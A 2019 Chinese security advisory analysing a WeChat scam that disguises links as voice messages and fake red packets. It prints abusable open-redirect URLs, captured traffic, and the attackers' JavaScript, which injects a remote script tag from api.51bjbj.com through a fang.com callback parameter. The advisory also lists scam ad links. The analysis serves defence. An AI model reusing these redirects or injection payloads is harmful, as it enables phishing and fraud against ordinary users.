警惕:黑客利用“流浪地球票房红包”在微信中传播恶意诈骗广告

发布时间 2019-03-08

近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。


启明星辰ADLab迅速对此进行了分析,发现这是一起针对普通用户的微信灰产恶意广告诈骗事件。灰产团伙将网页URL伪装成“微信语音”,以链接的方式发送给用户和微信群,借助10086、微信和爱奇艺等网站的跳转链接将“语音”重定向至灰产URL,同时伪造了红包界面,隐藏了微信的菜单和按钮接口。页面后台多次跳转防封,并将用户的返回操作定向到新广告页面,前台则利用近期的热点电影“流浪地球”进行炒作,最终以红包提现的噱头引诱用户分享恶意广告,传播牟利,甚至以红包作为幌子发布钓鱼链接。事件整体流程如图所示:



1、技术分析


“语音”链接经过重定向和多次跳转后才加载至红包界面,我们猜测该团伙是考虑到腾讯的查封规则,为有效增加存活时间,首先通过知名域名的重定向来规避检查,其使用过的可重定向URL如下:


1、http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
2、https://as.weixin.qq.com/cgi-bin/amazing?url=
3、https://36kr.com/jump?url=(失效)

4、https://bird.sns.iqiyi.com/jump?jump_url=


重定向、多次跳转和JS脚本执行的主要流程如下(实际跳转可能随时变化):


下面针对其中的主要过程进行分析阐释。


1.1 链接重定向


黑客疑似通过微信JS-SDK自定义文案与图标伪造“语音”链接,当用户点击“语音”链接时会被重定向,数据包请求内容如下:


GET  /remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052  HTTP/1.1
Host: rd.go.10086.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:  Mozilla/5.0 (Windows NT 6.1; WOW64)  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400  QQBrowser/9.0.2524.400
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4

Connection:  keep-alive


数据包回应内容如下:


HTTP/1.1 302  Found
Server: nginx
Date: Thu, 28 Feb  2019 06:26:40 GMT
Content-Type: text/html
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Expires: Wed, 31 Dec  1969 23:59:59 GMT
Set-Cookie:  JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind
Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052

Proxy-Connection: keep-alive


1.2 链接跳转


重定向目标地址链接不固定,我们发现的两个链接如下:


1、http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052

2、http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052


以链接1为例,请求目标为image/svg+xml类型,请求数据内容如下:


GET  /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1
Host:qnimg.9igcw.com
Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400  QQBrowser/9.0.2524.400
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4

Connection: keep-alive


数据包回应Headers内容如下:


HTTP/1.1  200 OK
Server:  Tengine
Content-Type:  image/svg+xml
Content-Length:  285
Date:  Thu, 28 Feb 2019 04:48:00 GMT
Accept-Ranges:  bytes
Access-Control-Allow-Origin:  *
Access-Control-Expose-Headers:  X-Log, X-Reqid
Access-Control-Max-Age:  2592000
Cache-Control:  public, max-age=31536000
Content-Disposition:  inline; filename="f22b419d44ff4fc89125e8cd29c186b2";  filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2
Content-Transfer-Encoding:  binary
Etag:  "FtABqMD18XgR60Q7wmUamU9uUx5l"
Last-Modified:  Sun, 11 Nov 2018 03:29:41 GMT
X-Log:  redis.g;DC;IO:1
X-M-Log:  QNM:xs460;QNM3
X-M-Reqid:  -XEAAFpARvTCbYcV
X-Qiniu-Zone:  0
X-Qnm-Cache:  Hit
X-Reqid:  IFUAAF3TM4jTYIcV
X-Svr:  IO
Ali-Swift-Global-Savetime:  1551329280
Via:  cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H],  cache19.cn1088[1,0]
Age:  5918
X-Cache:  HIT TCP_HIT dirn:11:386590902
X-Swift-SaveTime:  Thu, 28 Feb 2019 04:48:00 GMT
X-Swift-CacheTime:  2592000
Timing-Allow-Origin:  *
EagleId:  73e7282715513351989788044e

Proxy-Connection:  keep-alive


其中数据包回应内容包含新链接至https://api.meipaifan.cn/j。



1.3 JavaScript脚本



请求URL:https://api.meipaifan.cn/j为JavaScript脚本,内容如下:


var  ua = navigator.userAgent;
if  (ua.indexOf("MicroMessenger") >  0) {    //判断是否为微信浏览器
    var noreferrer = true;
    try {  document.getElementsByTagName("body")[0].outerHTML =  "
Loading...
"; } catch (e) {};
    if (top != window || !document.body){
        top.location.href =  'https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';
    }
    else{
        var  a=document.createElement('a');a.href='https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer)  a.rel='noreferrer';a.click();
    }
};


JS脚本会通过navigator.userAgent.indexOf来判断浏览器类型,若不是微信浏览器返回404。



若为微信浏览器,则继续判断页面为前端或后端,再分别依据两种策略进行后台访问(访问链接可变如:https://tj.esf.fang.com)暗刷流量,在应答的数据中包含Script脚本指向另外一个新链接(JS脚本),如下图所示: 



新链接(api.51bjbj.com/j?xload=1)通过脚本解码出网页内容:



解码后的网页内容如下:



该网页引入了微信JS-SDK、Jquery库、core.js和api.51bjbj.com内的JS脚本,其中core.js包含自定义的各种功能回调函数如:loadJS、hideShare和setBack等。https://api.51bjbj.com./config?var=window.data&sign=0则包含自定义的数据结构,指向的JS脚本如下:


window.data = {
         "ad":  {
                   "app_url":  "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
                   "desc":  "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5",
                   "timeline_url":  "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
                   "img":  "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png",
                   "title":  "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a"
         },
         "attached":  {
                   "case":  "7675-hb",
                   "signmode":  "jsb",
                   "back_api":  "https://zjygx.com/backup/args/bg_back.php",  
                   "ad_share":  {
                            "pyq":  [0, 0],
                            "qun":  [0, 0, 0, 0, 0, 0]
                   },
                   "timeline_ad":  true,
                   "player":  {
                            "delaytime":  538,
                            "vid":  "c0763pr60i5"
                   },
                   "needWhite":  false,
                   "group_ad":  true,
                   "iosGoAdUrl":  "",
                   "eqc":  {
                            "s":  "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js",
                            "ib":  6,
                            "i3":  1,
                            "ic":  4,
                            "d":  "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js"
                   }
         },
         "cnzz":  "",
         "hm":  "0c1ecc9c91cfd52db097fbe47eb75864",
         "to_timeline":  {
                   "redirect":  "",
                   "ad_weight":  "100",
                   "ad_id":  "9986",
                   "ad":  false,
                   "ok_msg":  "",
                   "title":  "{fuck}{fuck}",
                   "img":  "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
                   "landing":  "",
                   "link":  "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052",
                   "desc":  ""
         },
         "to_group":  {
                   "redirect":  "",
                   "link":  "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052",
                   "img":  "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
                  "title":  "{fuck}{fuck}",
                   "desc":  "{fuck}\u2709",
                   "back_url": ""                      
         }
}
数据中”img”字段指向了恶意传播的URL伪装图片:



在使用loadJs()加载文件后,https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185内含的JS脚本会执行红包界面的逻辑内容,简要示例如下:



红框内的“庆祝流浪地球电影票房破40亿”处即是前端恶意推广的红包标题。


该脚本还包含了goShare函数进行分享操作如图:


其中,https://api.51bjbj.com./getshare请求将链接至http://weixin.site.eqxiu.com/...(不固定),并加载JS脚本。如图:



 https://s.51bjbj.com./jssdk/shareurl?_c=则指向分享页面的网页来源如:obs-cn-shenzhen.yun.pingan.com。



此外我们注意到,作者在前端隐藏了微信的官方菜单接口。如图:



若用户将“红包”分享至群聊,则会生成多种形式的伪装界面,目前已知的形式分别为“群邀请”、“语音”和“广告链接”,如图所示:



当用户点击分享后的链接时,依然会被重定向至灰产URL并弹出广告。需要注意的是网页在后台 “锁定”了返回操作,用户在尝试返回时页面会轮循刷新广告。如图所示:





链接通过重定向和跳转最终定位到广告:




部分恶意广告原始链接如下:
https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/43/static/display.html?t=1551798979518 
https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/28/static/display.html?t=1551799084786
https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/35/static/display.html?t=1551802234121
https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/26/static/display.html?t=1551802236980 
https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/41/static/display.html?t=1551802242070 
https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/44/static/display.html?t=1552010485531


2、溯源关联


我们尝试添加了几位”老中医”和”投资导师”,画风是这样的:


基本可以判断“红包”推送的广告为骗取定金或彩票刷单等诈骗行为,对方往往非常耐心,环环相诱,用户稍不留意就有可能落入圈套,造成财产损失。


此外,我们通过分析https://api.51bjbj.com./config?var=window.data&sign=0返回的JS脚本,在其接口数据中发现了CNZZ数据统计请求的链接。如图: 


https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675链接指向了相似模板的旧版“恶意红包”。



可见该团伙年初便开始了恶意活动,不过其旧版广告链接已被查封。在进一步抓包分析后,我们发现重定向后的链接请求为:


Location:https://open.weixin.qq.com/connect/oauth2/authorize?appid=wxd588ca9e0a8b634e&redirect_uri=http%3A%2F%2Fbird.sns.iqiyi.com%2Fwx%2Fwxd588ca9e0a8b634e%2Fpic.app.dqdaily.com%252F20180510_67388_1551592980824.jpg%253F1zhF8Obn%253D1zhF8Obn&response_type=code&scope=snsapi_base&state=MSG#wechat_redirect


请求包含了微信开发者appid: wxd588ca9e0a8b634e。依此我们关联到了某视频厂商的红包链接。



灰产团伙有可能参照过该厂商的红包模式,并借助其URL实现了微信客户端重定向跳转(https://bird.sns.iqiyi.com/jump?jump_url=)。值得注意的是,此类厂商提供的会员红包奖励往往需要授权登录账号,这给灰产团伙创造了很好的钓鱼机会,通过登录钓鱼等手段窃取用户资料和账号从而造成更大的破坏。此类团伙游走在法律的边缘,今天可以推送恶意广告,明天就能随时变身网络钓鱼。



3、总结分析


综上分析,当前微信的灰产利用正变得越发具有欺骗性和传播性。一些团伙通过技术手段制作以假乱真的“语音”、“群邀请”等链接来引诱用户点击,利用重定向和多级跳转规避检查,再结合逼真的“红包”交互攻击用户,利用用户急切获取红包的心理进行诱导关注、诈骗钱财和恶意传播。普通用户往往难以分辨真假,极易沦为灰产的传播工具,不仅自身可能遭受财产损失,还会帮助恶意流量大面积扩散。希望此类事件可以引起厂商和广大用户的高度警惕,防微杜渐,持续警惕灰产的各类恶意活动,共同维护好网络秩序。